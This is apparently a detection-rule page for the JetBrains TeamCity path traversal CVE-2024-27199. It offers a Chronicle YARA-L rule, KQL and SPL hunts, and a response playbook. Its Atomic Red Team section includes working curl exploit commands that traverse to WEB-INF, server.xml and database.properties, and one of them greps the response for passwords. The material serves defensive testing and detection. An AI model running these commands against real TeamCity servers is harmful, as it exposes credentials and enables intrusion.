CVE-2024-27199 Google Chronicle · YARA-L

Detect JetBrains TeamCity Relative Path Traversal (CVE-2024-27199) in Google Chronicle

Detects exploitation of CVE-2024-27199, a relative path traversal vulnerability in JetBrains TeamCity on-premises. Unauthenticated attackers can traverse directory paths in the TeamCity web server to access restricted endpoints and files outside the intended web root, potentially leading to information disclosure or authentication bypass chained with CVE-2024-27198.

MITRE ATT&CK

Tactic
Initial Access Defense Evasion Credential Access

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2024_27199_teamcity_path_traversal {
  meta:
    author = "df00tech"
    description = "Detects CVE-2024-27199 JetBrains TeamCity relative path traversal exploitation"
    severity = "HIGH"
    priority = "HIGH"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-27199"

  events:
    $e.metadata.event_type = "NETWORK_HTTP"
    $e.network.http.method = /GET|POST/
    $e.network.http.request_url = /(?i)\/(?:res|update|icons|plugins)\//
    (
      $e.network.http.request_url = /(?i)%2e%2e/ or
      $e.network.http.request_url = /(?i)%252e%252e/ or
      $e.network.http.request_url = /\.\.\//
    )
    (
      $e.network.http.request_url = /(?i)WEB-INF/ or
      $e.network.http.request_url = /(?i)server\.xml/ or
      $e.network.http.request_url = /(?i)\/admin\// or
      $e.network.http.request_url = /(?i)\/config\//
    )
    $ip = $e.principal.ip

  match:
    $ip over 5m

  condition:
    #e >= 3
}
high severity high confidence

Chronicle YARA-L rule detecting repeated CVE-2024-27199 path traversal attempts against JetBrains TeamCity. Triggers when the same source IP makes 3 or more requests containing traversal patterns to TeamCity-specific URL paths within 5 minutes.

Data Sources

Chronicle UDM HTTP eventsWeb proxy ingestion feeds

Required Tables

network_http UDM events

False Positives & Tuning

  • Authorized penetration testing with scoped targets including TeamCity web server
  • Automated vulnerability assessment platforms running web application checks
  • Misconfigured reverse proxies that rewrite or encode URL path segments
  • TeamCity health check endpoints that inadvertently match traversal patterns

Other platforms for CVE-2024-27199

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1TeamCity Path Traversal to WEB-INF via Encoded Dots

    Expected signal: HTTP GET request to /res/..%2f..%2f..%2fWEB-INF/web.xml logged in web server access logs with the attacker's IP. Response code 200 if vulnerable, 400/404 if patched or blocked.

  2. Test 2TeamCity Path Traversal via Double-Encoded Sequences

    Expected signal: HTTP request containing %252f in URL path to TeamCity /update/ endpoint visible in web access logs.

  3. Test 3Automated Traversal Scan Simulation (Multiple Paths)

    Expected signal: Five HTTP GET requests from the same source IP to /res/ URL paths containing %2f traversal sequences within a 10-second window, visible in web server access logs.

  4. Test 4Chain CVE-2024-27199 with Admin Configuration Read

    Expected signal: HTTP GET to /icons/ endpoint with traversal sequence targeting conf/database.properties. HTTP 200 response body containing JDBC connection string indicates successful exploitation.

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Immediately verify the TeamCity server version: navigate to Administration > About TeamCity or check ${TEAMCITY_HOME}/webapps/ROOT/META-INF/MANIFEST.MF. Versions before 2023.11.4 are vulnerable.
  2. Review web server access logs (default: ${TEAMCITY_LOGS}/teamcity-server.log and IIS/Apache access logs) for the source IP — look for HTTP 200 responses to paths containing %2e%2e or ../ sequences targeting /res/, /update/, or /icons/ URL prefixes.
  3. Check whether the traversal reached sensitive paths: WEB-INF/web.xml, server.xml, or internal admin endpoints. HTTP 200 responses to these paths confirm successful traversal.
  4. Correlate with CVE-2024-27198 indicators: look for authentication bypass attempts (unauthenticated requests to /app/rest/ or /remoteCall/ API endpoints) from the same source IP, as the two CVEs are frequently chained.
  5. Query TeamCity's internal audit log (Administration > Audit) for any configuration changes, new user creation, or token generation that occurred around the time of traversal requests.

Containment

  1. Apply the emergency patch immediately: upgrade TeamCity to version 2023.11.4 or later. If patching is not immediately possible, apply JetBrains' published workaround (restrict network access to the TeamCity port at the firewall level) and block the attacker's IP at the perimeter.
  2. Rotate all TeamCity API tokens, service account credentials, and any secrets stored in TeamCity build configurations or parameters — assume these were read if traversal returned HTTP 200 to configuration paths. Revoke and reissue VCS integration tokens and cloud provider credentials stored in TeamCity.

Evidence Collection

  1. Export full web server access logs covering the attack window: collect all HTTP requests from the attacker IP, preserving raw encoded URLs, response codes, response sizes, and timestamps. Archive to tamper-evident storage.
  2. Capture TeamCity server logs from ${TEAMCITY_LOGS}/teamcity-server.log, teamcity-activities.log, and the internal audit log. These contain server-side processing of traversal requests and any resulting privilege escalation or configuration reads.

Escalation Criteria

  • !Escalate to incident response if any HTTP 200 response is observed for traversal paths targeting WEB-INF/, server.xml, internal admin endpoints, or build configuration data — successful read access means credentials may be compromised.
  • !Escalate immediately if the attacker IP shows follow-on activity: authenticated API calls, new user account creation, build agent registration, or execution of build configurations, as this indicates CVE-2024-27198 chaining or post-exploitation persistence.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs with raw URL encoding showing %2e%2e or %252e%252e sequences in TeamCity URL paths
  • >TeamCity server log entries showing file read operations outside the expected web root directory
  • >TeamCity audit log showing configuration changes, new API token generation, or user creation following traversal activity
  • >Network flow logs showing the attacker IP establishing connections to TeamCity port (default 8111) with unusual request volumes or timing
  • >File system timestamps on TeamCity configuration files (config/ directory, database.properties) indicating unexpected access

Tuning Guidance

Start by establishing a baseline of legitimate TeamCity traffic patterns for the /res/ and /icons/ URL prefixes — these serve static assets and should never contain dot-dot sequences. After initial deployment, set the request_count threshold at 3 to catch automated scanning, then review false positives from authorized scanners and add their IP ranges to an exclusion list. If TeamCity sits behind a WAF that performs URL decoding before logging, ensure your detection covers decoded paths (plain ../) not just encoded variants. For environments where TeamCity is only accessible via VPN, consider dropping the threshold to 1 and alerting on any traversal attempt regardless of count. Review response codes carefully: HTTP 200 responses to traversal paths warrant immediate escalation while 400/404 responses may indicate blocked or unsuccessful attempts.

Hunting Queries

Retrospective 7-day hunt across IIS logs for any path traversal attempts against TeamCity URL prefixes, including single low-volume probes that may have been missed by threshold-based alerting. Surfaces successful (HTTP 200) traversals for immediate investigation.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated > ago(7d)
| where csUriStem matches regex @"(?i)/(?:res|update|icons|plugins)/"
| where csUriStem matches regex @"(?i)(?:%2e|\\.)(?:%2e|\\.)(?:%2f|/)"
| where scStatus in (200, 403, 500)
| summarize TotalRequests=count(), Successful=countif(scStatus==200), Forbidden=countif(scStatus==403) by cIP, bin(TimeGenerated, 1h)
| where TotalRequests >= 1
| order by Successful desc
Hunting — SPL
spl 
index=web sourcetype=iis earliest=-7d
| rex field=cs_uri_stem "(?i)(?<traversal_seq>(?:%2e%2e|%252e%252e|\.\.)(?:%2f|/))"
| where isnotnull(traversal_seq)
| where match(cs_uri_stem, "(?i)/(?:res|update|icons|plugins)/")
| stats count as hits, dc(cs_uri_stem) as unique_paths, values(sc_status) as status_codes by c_ip, date_hour
| sort -hits

Atomic Red Team Tests

Test 1 TeamCity Path Traversal to WEB-INF via Encoded Dots
linux

Simulates CVE-2024-27199 exploitation by sending an HTTP GET request with URL-encoded path traversal sequences to reach the WEB-INF/web.xml configuration file via the /res/ endpoint.

Command

bash 
curl -v -k 'http://TARGET_TEAMCITY:8111/res/..%2f..%2f..%2fWEB-INF/web.xml' -H 'User-Agent: Mozilla/5.0' --max-time 10

Cleanup

bash 
No cleanup required — this is a read-only HTTP request. Review TeamCity access logs to confirm the test was logged.

Expected Telemetry

HTTP GET request to /res/..%2f..%2f..%2fWEB-INF/web.xml logged in web server access logs with the attacker's IP. Response code 200 if vulnerable, 400/404 if patched or blocked.

Expected Detection

Alert triggered by kql or spl query matching %2f traversal sequence in /res/ URL path targeting WEB-INF.

Test 2 TeamCity Path Traversal via Double-Encoded Sequences
linux

Tests detection of double-encoded path traversal (%252e%252e = double-encoded ..) which bypasses naive single-decode filters in WAFs and logging systems.

Command

bash 
curl -v -k 'http://TARGET_TEAMCITY:8111/update/..%252f..%252f..%252fWEB-INF/web.xml' -H 'User-Agent: Mozilla/5.0' --max-time 10

Cleanup

bash 
No cleanup required. Confirm detection fired for the double-encoded variant.

Expected Telemetry

HTTP request containing %252f in URL path to TeamCity /update/ endpoint visible in web access logs.

Expected Detection

Alert triggered by queries matching %252e%252e or %252f pattern in TeamCity URL paths.

Test 3 Automated Traversal Scan Simulation (Multiple Paths)
linux

Simulates a scanner probing multiple traversal targets in rapid succession to trigger threshold-based detection rules. Sends 5 traversal requests in under 60 seconds from the same IP.

Command

bash 
for path in 'WEB-INF/web.xml' 'WEB-INF/classes/log4j.properties' 'conf/server.xml' 'admin/index.jsp' 'config/database.properties'; do curl -sk 'http://TARGET_TEAMCITY:8111/res/..%2f..%2f..%2f'"$path" -o /dev/null -w "%{http_code} $path\n"; sleep 2; done

Cleanup

bash 
No cleanup required — all requests are read-only GETs. Document HTTP response codes for each path to establish which traversals succeeded.

Expected Telemetry

Five HTTP GET requests from the same source IP to /res/ URL paths containing %2f traversal sequences within a 10-second window, visible in web server access logs.

Expected Detection

Threshold-based alert firing on request_count >= 3 from the same source IP within the 5-minute aggregation window.

Test 4 Chain CVE-2024-27199 with Admin Configuration Read
linux

Simulates reading the TeamCity database configuration file via path traversal, which could expose database credentials as part of a wider compromise chain.

Command

bash 
curl -v -k 'http://TARGET_TEAMCITY:8111/icons/..%2f..%2f..%2f..%2fconf%2fdatabase.properties' -H 'Accept: */*' --max-time 10 2>&1 | grep -E '(HTTP|password|jdbc|url)'

Cleanup

bash 
No cleanup required. If the file is returned, rotate any credentials found immediately as they are compromised.

Expected Telemetry

HTTP GET to /icons/ endpoint with traversal sequence targeting conf/database.properties. HTTP 200 response body containing JDBC connection string indicates successful exploitation.

Expected Detection

Alert triggered by traversal pattern in /icons/ URL path; if HTTP 200 returned, this should trigger escalation path in playbook.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0005Defense EvasionTA0006Credential Access

Related Techniques

T1190Exploit Public-Facing ApplicationT1083File and Directory DiscoveryT1552.001Credentials In FilesT1078Valid Accounts

Same Tactic: Initial Access

Popular Detections